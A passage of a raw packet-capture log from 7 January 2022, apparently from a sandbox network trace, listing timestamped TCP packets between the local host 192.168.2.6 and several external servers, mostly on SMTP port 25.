Jan 7, 2022 15:44:10.328205109 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.328263998 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.328926086 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.329087973 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.329564095 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.329705954 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.330118895 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.330219984 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.330236912 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.330317020 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.330354929 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.330498934 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.351308107 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.351417065 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.351490021 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.351552010 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.351914883 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.351942062 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.352005959 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.352030993 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.352035999 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.352067947 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.352106094 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.352132082 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.352133989 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.352205038 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.352349043 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.352446079 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.352488041 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.352792978 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.352879047 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.352904081 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.353003025 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.353034973 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.353182077 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.353293896 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.353368998 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.353458881 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.353529930 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.353729963 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.353794098 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.353892088 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.353935003 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.354020119 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.354134083 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.354271889 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.354336977 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.354363918 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.354409933 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.354453087 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.354475021 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.354578972 CET	25	50012	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:10.354604006 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.354737043 CET	50012	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:10.354789019 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.354895115 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.354922056 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.354984999 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.355036020 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.355087042 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.355113029 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.355123997 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.355205059 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.355453014 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.355479002 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.355578899 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.355648041 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.355882883 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.355906963 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.355993032 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.356031895 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.356045961 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.356199980 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.356224060 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.356303930 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.356514931 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.356543064 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.356621027 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.356654882 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.356797934 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.356823921 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.356905937 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.356949091 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.357105017 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.357176065 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.375230074 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.375305891 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.375538111 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.375669003 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.375722885 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.375783920 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.375822067 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.376017094 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.376121998 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.376158953 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.376230955 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.376269102 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.376342058 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.376570940 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.376733065 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.376774073 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.376882076 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.376920938 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.377010107 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.377341986 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.377414942 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.377564907 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.378156900 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.378304958 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.378457069 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.378644943 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.378669024 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.379038095 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.379259109 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.379338980 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.379466057 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.379657030 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.379899025 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.380013943 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.380217075 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.380341053 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.380502939 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.380698919 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.380942106 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.381113052 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.381325960 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.381428003 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.381455898 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.381623983 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.381823063 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.381983042 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.382102013 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.382131100 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.382265091 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.382550955 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.382576942 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.382668018 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.382698059 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.382865906 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.382884979 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.382939100 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.382963896 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.383013010 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.383044004 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.383209944 CET	50006	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:10.383300066 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.383337021 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.383363962 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.383393049 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.383471012 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.383526087 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.383622885 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.383650064 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.383718014 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.383734941 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.383763075 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.383884907 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.384366989 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.399241924 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.399280071 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.399308920 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.399430037 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.399595022 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.399744034 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.399771929 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.399940014 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.400216103 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.400243998 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.400269032 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.400552988 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.400583029 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.400657892 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.400823116 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.400993109 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.401185036 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.401215076 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.401341915 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.401372910 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.401541948 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.401664972 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.401901007 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.401931047 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.402128935 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.406275034 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.406471014 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.406516075 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.406649113 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.406867981 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.407021999 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.407267094 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.407358885 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.407567024 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.407942057 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.407984972 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.408014059 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.408063889 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.408273935 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.408444881 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.408636093 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.408664942 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.408822060 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.409413099 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.409457922 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.433155060 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.433195114 CET	25	50021	185.183.28.235	192.168.2.6
Jan 7, 2022 15:44:10.433522940 CET	50021	25	192.168.2.6	185.183.28.235
Jan 7, 2022 15:44:10.436666965 CET	25	50008	51.81.57.59	192.168.2.6
Jan 7, 2022 15:44:10.436697960 CET	25	50008	51.81.57.59	192.168.2.6
Jan 7, 2022 15:44:10.436851978 CET	50008	25	192.168.2.6	51.81.57.59
Jan 7, 2022 15:44:10.436889887 CET	50008	25	192.168.2.6	51.81.57.59
Jan 7, 2022 15:44:10.437619925 CET	50022	25	192.168.2.6	51.81.242.59
Jan 7, 2022 15:44:10.465661049 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.465723038 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.465749025 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.465837955 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.465867043 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.466027021 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.466217041 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.508085966 CET	49973	25	192.168.2.6	195.29.173.131
Jan 7, 2022 15:44:10.540688992 CET	25	50008	51.81.57.59	192.168.2.6
Jan 7, 2022 15:44:10.569742918 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.570040941 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.609239101 CET	25	50022	51.81.242.59	192.168.2.6
Jan 7, 2022 15:44:10.609425068 CET	50022	25	192.168.2.6	51.81.242.59
Jan 7, 2022 15:44:10.624366999 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.624409914 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.624448061 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.624542952 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.624639988 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.624696970 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.624712944 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.624743938 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.624824047 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.624869108 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.624921083 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.624922037 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.624959946 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.625070095 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.625098944 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.705696106 CET	25	50012	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:10.728382111 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.728627920 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.783174992 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.783214092 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.783241034 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.783339024 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.783405066 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.783435106 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.783497095 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.783526897 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.783603907 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.783631086 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.783670902 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.783693075 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.783713102 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.783729076 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.783742905 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.783783913 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.783885002 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.783900023 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.783929110 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.783994913 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.783998966 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.784056902 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.784115076 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.784131050 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.784255981 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.784287930 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.784313917 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.784439087 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.784456968 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.784467936 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.784570932 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.784645081 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.784797907 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.871577978 CET	25	50012	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:10.871753931 CET	50012	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:10.871789932 CET	50012	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:10.872210979 CET	50023	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:10.887116909 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.887160063 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.887284040 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.887367964 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.941669941 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.941865921 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.941917896 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.941981077 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.942039967 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.942068100 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.942125082 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.942169905 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.942193985 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.942203999 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.942320108 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.942359924 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.942441940 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.942512989 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.942608118 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.942707062 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.942775011 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.942794085 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.942899942 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.942919970 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.942948103 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.942972898 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.943008900 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.943041086 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.943048000 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.943069935 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.943075895 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.943118095 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.943141937 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.943144083 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.943222046 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.943290949 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.943370104 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.943414927 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.943439007 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.943500996 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.943533897 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.943551064 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.943627119 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.943705082 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.943731070 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.943783045 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.943799973 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.943810940 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.943826914 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.943871021 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.943897009 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.943907022 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.944091082 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.944154978 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.944161892 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.944190025 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.944199085 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.944257021 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.944278002 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.944300890 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.944372892 CET	50017	25	192.168.2.6	173.228.157.39
